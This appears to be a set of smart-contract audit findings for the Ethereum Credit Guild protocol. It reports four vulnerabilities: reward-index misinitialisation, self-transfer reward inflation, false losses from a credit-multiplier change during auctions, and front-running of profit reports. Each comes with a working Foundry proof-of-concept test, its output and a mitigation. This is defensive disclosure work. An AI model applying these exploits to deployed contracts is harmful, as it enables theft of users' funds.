Ethereum Credit Guild - c47ch3m4ll's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Impact

Incorrect initialization of user profit index inside ProfitManager allows user to claim more rewards than intended.

Bug

When a user calls ProfitManager.claimGaugeRewards for the first time after increasing gauge weight, _userGaugeProfitIndex is set to 1e18. Therefore

deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex = _gaugeProfitIndex - 1e18

After notifyPnL reports profit, the _gaugeProfitIndex > 1e18, hence deltaIndex stores all the profits of a gauge.

Example

gauge profit index = 1e18 + amount_0 * 1e18 / weight_0 + amount_1 * 1e18 / weight_1 + amount_2 * 1e18 / weight_2
user profit index = 1e18
delta index =  amount_0 * 1e18 / weight_0 + amount_1 * 1e18 / weight_1 + amount_2 * 1e18 / weight_2

Incorrect deltaIndex rewards user with more rewards than intended.

Steps.

0. ProfitManager.notifyPnL reports profit
1. User increments gauge weight (GuildToken.incrementGauge)
2. User calls ProfitManager.claimGaugeRewards to claim rewards

Proof of Concept

User 0 increments gauge weight before notifyPnL reports profit. User 1 increments gauge after all profits are reported. We expect user 0 to be able to claim all the profit and 0 rewards for user 1. However we show here that user 1 claims all of profit.

pragma solidity 0.8.13;

import "@forge-std/Test.sol";

import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";

// @audit-info bug affects ProfitManager
// forge test --match-path test/poc/ProfitManager.t.sol -vvv
contract ProfitManagerTest is Test {
    Core private core;
    GuildToken private guild_token;
    CreditToken private credit_token;
    ProfitManager private profit_manager;
    // Mock PSM - not used for this POC
    address psm = address(111);
    // Mock lending term - not used for this POC
    address gauge = address(222);
    // users 3 stakes into SurplusGuildMinter
    address[] private users = [address(11), address(12)];

    function setUp() public {
        core = new Core();
        profit_manager = new ProfitManager(address(core));
        credit_token = new CreditToken(address(core), "credit", "credit");
        guild_token = new GuildToken(address(core), address(profit_manager));

        profit_manager.initializeReferences(
            address(credit_token),
            address(guild_token),
            address(psm)
        );

        profit_manager.setProfitSharingConfig(
            0,
            0,
            // guild split
            1e18,
            0,
            address(0)
        );

        // CreditToken roles
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        // GuildToken roles
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        // ProfitManager roles
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));

        uint256 gauge_type = 1;
        guild_token.addGauge(gauge_type, gauge);

        guild_token.setMaxGauges(10);

        for (uint i = 0; i < users.length; i++) {
            guild_token.mint(users[i], 1e18);
        }
    }

    function print_pending_rewards_and_credit_balances() private {
        console.log("---------------");
        {
            (, , uint total) = profit_manager.getPendingRewards(users[0]);
            console.log("User 0 pending rewards", total);
        }
        {
            (, , uint total) = profit_manager.getPendingRewards(users[1]);
            console.log("User 1 pending rewards", total);
        }
        console.log("User 0 credit balance", credit_token.balanceOf(users[0]));
        console.log("User 1 credit balance", credit_token.balanceOf(users[1]));
    }

    function test_profit_manager_claim_rewards() public {
        // User 0 increases weight
        vm.prank(users[0]);
        guild_token.incrementGauge(gauge, 1e18);

        // Notify profit and increase gauge profit index
        for (uint i = 0; i < 5; i++) {
            uint profit = 1e18;
            credit_token.mint(address(profit_manager), profit);
            profit_manager.notifyPnL(gauge, int(profit));

            // skip(100);
            console.log(
                "gauge profit index",
                profit_manager.gaugeProfitIndex(gauge)
            );
        }

        print_pending_rewards_and_credit_balances();

        // User 1 increases weight
        vm.prank(users[1]);
        guild_token.incrementGauge(gauge, 1e18);

        // Incorrect pending rewards for user 1
        // User 1 should receive 0 rewards but receives 100% of previously accumulated rewards
        print_pending_rewards_and_credit_balances();

        // User 1 claims credit rewards
        vm.prank(users[1]);
        profit_manager.claimGaugeRewards(users[1], gauge);

        // vm.prank(users[0]);
        // profit_manager.claimGaugeRewards(users[0], gauge);

        print_pending_rewards_and_credit_balances();
    }
}

[PASS] test_profit_manager_claim_rewards() (gas: 666175)
Logs:
  gauge profit index 2000000000000000000
  gauge profit index 3000000000000000000
  gauge profit index 4000000000000000000
  gauge profit index 5000000000000000000
  gauge profit index 6000000000000000000
  ---------------
  User 0 pending rewards 5000000000000000000
  User 1 pending rewards 0
  User 0 credit balance 0
  User 1 credit balance 0
  ---------------
  User 0 pending rewards 5000000000000000000
  User 1 pending rewards 5000000000000000000
  User 0 credit balance 0
  User 1 credit balance 0
  ---------------
  User 0 pending rewards 5000000000000000000
  User 1 pending rewards 0
  User 0 credit balance 0
  User 1 credit balance 5000000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Update userGaugeProfitIndex to latest gaugeProfitIndex

        if (_userGaugeWeight == 0) {
            userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
            return 0;
        }

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418

When an user calls GuildToken.incrementGauge for the first time, the above change will set userGaugeProfitIndex to the latest gaugeProfitIndex.

However we still need this conditional statement below in the case that gaugeProfitIndex is 0.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553-L736

Vulnerability details

Impact

Credit token holders can claim extra rewards by transferring to self. The bug is present in ERC20RebaseDistributor.transfer and ERC20RebaseDistributor.transferFrom.

If enough rewards is stolen, other users will temporary not be able to claim their rewards, until more rewards come in.

This bug can be exploited in 2 ways

• Calling transfer(to, amount) where to, is set to msg.sender,
• Calling transferFrom(from, to, amount), where from is set to same address as to.

amount must be small enough to not cause underflow error inside decreaseUnmintedRebaseRewards

The bug is caused by loading 2 copies of the same user's share into memory and then updating the same storage twice. The second write incorrectly overwrites the first.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L653-L654

The first storage update, calculates and writes the appropriate shares for from address. However the second storage update, recalculates shares of from, using the shares before the shares where deducted. This results in boosting rebasing shares for this user, hence claiming more rewards than intended.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L701

Proof of Concept

POC to exploit transfer and transferFrom

pragma solidity 0.8.13;

import "@forge-std/Test.sol";

import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";

// forge test --match-path test/poc/CreditToken.t.sol -vvv
contract CreditTokenTest is Test {
    Core private core;
    CreditToken private credit_token;
    address[] private users = [address(10), address(11)];

    function setUp() public {
        core = new Core();
        credit_token = new CreditToken(address(core), "credit", "credit");

        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));

        // Setup
        // users[0] enters rebase with 10 credits
        // users[1] enters rebase with 10 credits
        // 1 credit is distributed for rewards
        // We expect each user to be able to claim 0.5 credits
        // However users[0] will claim more than 0.5

        // Mint credit and subscribe to rebase
        for (uint i = 0; i < users.length; i++) {
            credit_token.mint(users[i], 10 * 1e18);
            vm.prank(users[i]);
            credit_token.enterRebase();

            // setup for transferFrom
            vm.prank(users[i]);
            credit_token.approve(address(this), type(uint).max);
        }

        credit_token.mint(address(this), 1 * 1e18);
        credit_token.distribute(1 * 1e18);
    }

    function debug() private {
        console.log("---------------");
        console.log("timestamp", block.timestamp);
        console.log(
            "unminted supply",
            credit_token.targetTotalSupply() - credit_token.totalSupply()
        );
        console.log("user 0 balance", credit_token.balanceOf(users[0]));
        console.log("user 1 balance", credit_token.balanceOf(users[1]));
    }

    function test_transfer_to_msg_sender() public {
        debug();
        skip(365 * 24 * 3600);
        debug();

        uint bal = credit_token.balanceOf(users[0]);
        // Need to get transfer amount so that decreaseUnmintedRebaseRewards
        // does not underflow
        uint amount = bal / 50;

        // User 0 claims rebase rewards
        vm.prank(users[0]);
        credit_token.transfer(users[0], amount);
        debug();

        // User 0 claims extra rebase rewards
        vm.prank(users[0]);
        credit_token.transfer(users[0], amount);
        debug();

        // User 0 can exit
        vm.prank(users[0]);
        credit_token.exitRebase();

        // User 1 cannot exit
        vm.expectRevert();
        vm.prank(users[1]);
        credit_token.exitRebase();

        debug();
    }

    function test_transfer_from_to_msg_sender() public {
        debug();
        skip(365 * 24 * 3600);
        debug();

        uint bal = credit_token.balanceOf(users[0]);
        // Need to get transfer amount so that decreaseUnmintedRebaseRewards
        // does not underflow
        uint amount = bal / 50;

        // User 0 claims rebase rewards
        credit_token.transferFrom(users[0], users[0], amount);
        debug();

        // User 0 claims extra rebase rewards
        credit_token.transferFrom(users[0], users[0], amount);
        debug();

        // User 0 can exit
        vm.prank(users[0]);
        credit_token.exitRebase();

        // User 1 cannot exit
        vm.expectRevert();
        vm.prank(users[1]);
        credit_token.exitRebase();

        debug();
    }
}

Output

[PASS] test_transfer_from_to_msg_sender() (gas: 204310)
Logs:
  ---------------
  timestamp 1
  unminted supply 1000000000000000000
  user 0 balance 10000000000000000000
  user 1 balance 10000000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10500000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10710000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10920000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10920000000000000000
  user 1 balance 10500000000000000000

[PASS] test_transfer_to_msg_sender() (gas: 201020)
Logs:
  ---------------
  timestamp 1
  unminted supply 1000000000000000000
  user 0 balance 10000000000000000000
  user 1 balance 10000000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10500000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10710000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10920000000000000000
  user 1 balance 10500000000000000000
  ---------------
  timestamp 31536001
  unminted supply 0
  user 0 balance 10920000000000000000
  user 1 balance 10500000000000000000

Tools Used

Manualy review

Recommended Mitigation Steps

Dissallow transfer source address to equal destination address.

// transfer
require(to != msg.sender);

// transferFrom
require(from != to);

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L751-L752

Vulnerability details

Impact

If the credit multiplier is decreased while an auction is ongoing, the protocol will report a loss after the auction closes even if the auction paid the full credit.

Here are the impacts that we found.

• Blocks closing an auction for partial collateral amount. Bidders must wait until collateral to receive is the full amount.
• Healthy lending term that closed an auction without any loss will still report a loss.
• Credit multiplier is decreased excessively (loss is counted multiple times).
• Inside SurplusGuildMinter, healthy lending term above are slashed.

Here are the steps.

1. users[0] borrows from lending_terms[0]
2. users[2] starts auction for loan above
3. lending_terms[1] reports a loss
4. users[2] bids on auction from step 2
5. Loss is reported for lending_terms[0], although users[2] paid the full debt

Proof of Concept

Here we show that

1. Bidding reverts for partial collateral amount. Bidders must wait past the midpoint of the auction.
2. Healthy lending term (lending_terms[0]) reports a loss and the credit multiplier decreases.
3. Gauge loss is reported, hence stakers of lending_terms[0] in SurplusGuildMinter will be slashed.

pragma solidity 0.8.13;

import "@forge-std/Test.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

// @audit Credit multiplier loss
//  forge test --match-path test/poc/CreditMultiplier.t.sol -vvv

// - Blocks closing an auction for partial collateral amount.  Bidders must wait until collateral to receive is the full amount.
// - Healthy lending term that closed an auction without any loss will still reports a loss.
// - Credit multiplier is decreased excessively (loss is counted multiple times).
// - SurplusGuildMinters for the healthy lending term above are slashed.

contract Token is ERC20 {
    constructor(string memory _name, string memory _sym) ERC20(_name, _sym) {}

    function mint(address to, uint amount) external {
        _mint(to, amount);
    }

    function burn(address dst, uint amount) external {
        _burn(dst, amount);
    }
}

contract CreditMultiplierTest is Test {
    Core private core;
    ProfitManager private profit_manager;
    CreditToken private credit_token;
    GuildToken private guild_token;
    RateLimitedMinter private credit_minter;
    LendingTerm private lending_term_ref;
    LendingTerm[] private lending_terms;
    SimplePSM private psm;
    AuctionHouse private auction_house;
    Token private col;
    Token private peg;
    address[] private users = [address(11), address(12), address(13)];

    function setUp() public {
        col = new Token("collateral", "COL");
        peg = new Token("peg", "PEG");

        core = new Core();
        profit_manager = new ProfitManager(address(core));
        credit_token = new CreditToken(address(core), "credit", "credit");
        guild_token = new GuildToken(address(core), address(profit_manager));
        credit_minter = new RateLimitedMinter(
            address(core),
            address(credit_token),
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            1e27,
            1e27,
            1e27
        );
        psm = new SimplePSM(
            address(core),
            address(profit_manager),
            address(credit_token),
            address(peg)
        );
        auction_house = new AuctionHouse(address(core), 650, 1800);
        lending_term_ref = new LendingTerm();

        profit_manager.initializeReferences(
            address(credit_token),
            address(guild_token),
            address(psm)
        );

        profit_manager.setProfitSharingConfig(
            0,
            0,
            // guild split
            1e18,
            0,
            address(0)
        );

        // Create lending terms
        for (uint256 i = 0; i < 2; i++) {
            LendingTerm.LendingTermParams memory params = LendingTerm
                .LendingTermParams({
                    collateralToken: address(col),
                    maxDebtPerCollateralToken: 100 * 1e18,
                    interestRate: 0,
                    maxDelayBetweenPartialRepay: 3600,
                    minPartialRepayPercent: 0,
                    openingFee: 0,
                    hardCap: 1e6 * 1e18
                });

            address term = Clones.clone(address(lending_term_ref));
            LendingTerm(term).initialize(
                address(core),
                LendingTerm.LendingTermReferences({
                    profitManager: address(profit_manager),
                    guildToken: address(guild_token),
                    auctionHouse: address(auction_house),
                    creditMinter: address(credit_minter),
                    creditToken: address(credit_token)
                }),
                params
            );
            lending_terms.push(LendingTerm(term));
        }

        // CreditToken roles
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(credit_minter));
        // GuildToken roles
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        // ProfitManager roles
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        // LendingTerm roles
        core.grantRole(
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            address(lending_terms[0])
        );
        core.grantRole(
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            address(lending_terms[1])
        );
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(lending_terms[0]));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(lending_terms[1]));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));

        // Gauge setup
        uint256 gauge_type = 1;
        for (uint i = 0; i < lending_terms.length; i++) {
            guild_token.addGauge(gauge_type, address(lending_terms[i]));
        }

        guild_token.setMaxGauges(10);

        guild_token.mint(users[0], 100 * 1e18);
        guild_token.mint(users[1], 100 * 1e18);

        vm.prank(users[0]);
        guild_token.incrementGauge(address(lending_terms[0]), 100 * 1e18);

        vm.prank(users[1]);
        guild_token.incrementGauge(address(lending_terms[1]), 100 * 1e18);

        // Mint collaterals to users
        for (uint i = 0; i < users.length; i++) {
            col.mint(users[i], 100 * 1e18);
            vm.prank(users[i]);
            col.approve(address(lending_terms[0]), type(uint256).max);
            vm.prank(users[i]);
            col.approve(address(lending_terms[1]), type(uint256).max);
        }
    }

    function test_loss() public {
        // Steps
        // 1. users[0] borrows from lending_terms[0]
        // 2. users[2] starts auction for loan above
        // 3. lending_terms[1] reports a loss
        // 4. users[2] bids on auction from step 2
        // 5. Loss is reported for lending_terms[0], although users[2] paid the full debt

        vm.prank(users[0]);
        bytes32 loan_id = lending_terms[0].borrow(100 * 1e18, 10 * 1e18);

        // Fast forward to parital repay expiry
        skip(2 * 3600);

        // Start auction for a loan in lending term 0
        vm.prank(users[2]);
        lending_terms[0].call(loan_id);

        // Report loss for lending term 1
        uint256 loss = 1 * 1e18;
        credit_token.mint(address(profit_manager), loss);
        profit_manager.notifyPnL(address(lending_terms[1]), -int256(loss));
        console.log("Timestamp", block.timestamp);
        console.log("Credit multiplier", profit_manager.creditMultiplier());
        console.log("--------");

        // Bid for a loan from lending term 0
        {
            // Check credit asked is credit recorded in lending term
            (, uint credit_asked) = auction_house.getBidDetail(loan_id);
            uint call_debt = lending_terms[0].getLoanDebt(loan_id);
            assertEq(credit_asked, call_debt, "credit asked != call debt");

            // Give users[2] some credit so he can liquidate this loan
            credit_token.mint(users[2], credit_asked);
        }

        vm.prank(users[2]);
        credit_token.approve(address(lending_terms[0]), type(uint256).max);

        // Liquidation for partial amount of collateral fails
        vm.expectRevert("LendingTerm: invalid collateral movement");
        vm.prank(users[2]);
        auction_house.bid(loan_id);

        // Skip to mid point to receive all collateral
        AuctionHouse.Auction memory auc = auction_house.getAuction(loan_id);
        vm.warp(auc.startTime + 650);
        {
            // Check credit asked is credit recorded in lending term
            (, uint credit_asked) = auction_house.getBidDetail(loan_id);
            uint call_debt = lending_terms[0].getLoanDebt(loan_id);
            assertEq(credit_asked, call_debt, "credit asked != call debt");
        }

        vm.prank(users[2]);
        auction_house.bid(loan_id);

        console.log("Timestamp", block.timestamp);
        console.log("Credit multiplier", profit_manager.creditMultiplier());
        console.log("--------");
        console.log(
            "Lending term 0 - gauge loss timestamp",
            guild_token.lastGaugeLoss(address(lending_terms[0]))
        );
        console.log(
            "Lending term 1 - gauge loss timestamp",
            guild_token.lastGaugeLoss(address(lending_terms[1]))
        );
        console.log("User 2 credit balance", credit_token.balanceOf(users[2]));
        console.log("User 2 collateral balance", col.balanceOf(users[2]));
    }
}

[PASS] test_loss() (gas: 802094)
Logs:
  Timestamp 7201
  Credit multiplier 990099009900990099
  --------
  Timestamp 7851
  Credit multiplier 980296049406920890
  --------
  Lending term 0 - gauge loss timestamp 7851
  Lending term 1 - gauge loss timestamp 7201
  User 2 credit balance 0
  User 2 collateral balance 110000000000000000000

Tools Used

Manual review and Foundry

Recommended Mitigation Steps

AuctionHouse should always query the lastest loan debt from LendingTerm.getLoanDebt. LendingTerm.getLoanDebt should return the loan debt calculated with the latest credit multiplier

// LendingTerm.sol
function getLoanDebt(...) {
   // more code
  if (loan.callTime != 0) {
        uint256 borrowAmount = loan.borrowAmount;
        uint256 interest = (borrowAmount *
            params.interestRate *
            (loan.callTime - loan.borrowTime)) /
            YEAR /
            1e18;
        uint256 loanDebt = borrowAmount + interest;
        uint256 _openingFee = params.openingFee;
        if (_openingFee != 0) {
            loanDebt += (borrowAmount * _openingFee) / 1e18;
        }
        uint256 creditMultiplier = ProfitManager(refs.profitManager)
            .creditMultiplier();
        loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
        return loanDebt; 
  }
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114-L212

Vulnerability details

Impact

User can stake and unstake from SurplusGuildMinter at any time assuming no slashing happened. This allows user to front run notifyPnL either to claim rewards or avoid loss.

Steps

0. User somehow knows notifyPnL will report a profit, for example this transcation is in the mempool.
1. User stakes into SurplusGuildMinter
2. notifyPnL is executed
3. User unstakes from SurplusGuildMinter

This allows user to claim rewards without any "skin in the game".

Proof of Concept

Here user 0 stakes for lending term 0. User 1 frontruns notifyPnL to earn rewards.

pragma solidity 0.8.13;

import "@forge-std/Test.sol";

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

// @audit Sandwich notifyPnL
//  forge test --match-path test/poc/SurplusGuildMinter.t.sol -vvv
contract SurplusGuildMinterTest is Test {
    Core private core;
    ProfitManager private profit_manager;
    CreditToken private credit_token;
    GuildToken private guild_token;
    RateLimitedMinter private rlgm;
    RateLimitedMinter private credit_minter;
    SurplusGuildMinter private sgm;
    LendingTerm private lending_term_ref;
    LendingTerm[] private lending_terms;

    // Mock PSM - not used for this POC
    address psm = address(111);
    address[] private users = [address(11), address(12)];

    function setUp() public {
        core = new Core();
        profit_manager = new ProfitManager(address(core));
        credit_token = new CreditToken(address(core), "credit", "credit");
        guild_token = new GuildToken(address(core), address(profit_manager));
        rlgm = new RateLimitedMinter(
            address(core),
            address(guild_token),
            CoreRoles.RATE_LIMITED_GUILD_MINTER,
            1e27,
            1e27,
            1e27
        );
        credit_minter = new RateLimitedMinter(
            address(core),
            address(credit_token),
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            1e27,
            1e27,
            1e27
        );
        sgm = new SurplusGuildMinter(
            address(core),
            address(profit_manager),
            address(credit_token),
            address(guild_token),
            address(rlgm),
            5e18,
            0.1e18
        );
        lending_term_ref = new LendingTerm();

        profit_manager.initializeReferences(
            address(credit_token),
            address(guild_token),
            address(psm)
        );

        profit_manager.setProfitSharingConfig(
            0,
            0,
            // guild split
            1e18,
            0,
            address(0)
        );

        // Create lending terms
        for (uint i = 0; i < 2; i++) {
            LendingTerm.LendingTermParams memory params = LendingTerm
                .LendingTermParams({
                    collateralToken: address(0),
                    maxDebtPerCollateralToken: 100 * 1e18,
                    interestRate: 0,
                    maxDelayBetweenPartialRepay: 0,
                    minPartialRepayPercent: 0,
                    openingFee: 0,
                    hardCap: 1e6 * 1e18
                });

            address term = Clones.clone(address(lending_term_ref));
            LendingTerm(term).initialize(
                address(core),
                LendingTerm.LendingTermReferences({
                    profitManager: address(profit_manager),
                    guildToken: address(guild_token),
                    // not used
                    auctionHouse: address(0),
                    creditMinter: address(credit_minter),
                    creditToken: address(credit_token)
                }),
                params
            );
            lending_terms.push(LendingTerm(term));
        }

        // CreditToken roles
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        // GuildToken roles
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        // ProfitManager roles
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        // LendingTerm roles
        core.grantRole(
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            address(lending_terms[0])
        );
        core.grantRole(
            CoreRoles.RATE_LIMITED_CREDIT_MINTER,
            address(lending_terms[1])
        );
        // rlgm
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        // SurplusGuildMinter roles
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));

        uint256 gauge_type = 1;
        for (uint i = 0; i < lending_terms.length; i++) {
            guild_token.addGauge(gauge_type, address(lending_terms[i]));
        }

        guild_token.setMaxGauges(10);

        for (uint i = 0; i < users.length; i++) {
            credit_token.mint(users[i], 100 * 1e18);
            vm.prank(users[i]);
            credit_token.approve(address(sgm), type(uint256).max);
        }
    }

    function debug() private {
        // console.log("User 0 credit balance", credit_token.balanceOf(users[0]));
        console.log("User 0 guild balance", guild_token.balanceOf(users[0]));
        // console.log("User 1 credit balance", credit_token.balanceOf(users[1]));
        console.log("User 1 guild balance", guild_token.balanceOf(users[1]));
    }

    function test_sandwich_pnl() public {
        // User 0 stakes
        vm.prank(users[0]);
        sgm.stake(address(lending_terms[0]), 100 * 1e18);

        debug();

        // User 1 sandwich notifyPnL
        vm.prank(users[1]);
        sgm.stake(address(lending_terms[0]), 100 * 1e18);

        // Simulate profit for lending term 0
        credit_token.mint(address(profit_manager), 10 * 1e18);
        profit_manager.notifyPnL(address(lending_terms[0]), 10 * 1e18);

        vm.prank(users[1]);
        sgm.unstake(address(lending_terms[0]), 100 * 1e18);

        // Realize rewards to see how much each users received
        sgm.getRewards(users[0], address(lending_terms[0]));
        sgm.getRewards(users[1], address(lending_terms[0]));

        debug();
    }
}

[PASS] test_sandwich_pnl() (gas: 785230)
Logs:
  User 0 guild balance 0
  User 1 guild balance 0
  User 0 guild balance 500000000000000000
  User 1 guild balance 500000000000000000

Tools Used

Manual review and Foundry

Recommended Mitigation Steps

SurplusGuildMinter should implement a minimum lock time before a staker can unstake. This will slow down users who are chasing rewards. Alternatively, charging a fee on unstake will discourage such behaviour.

Assessed type

Timing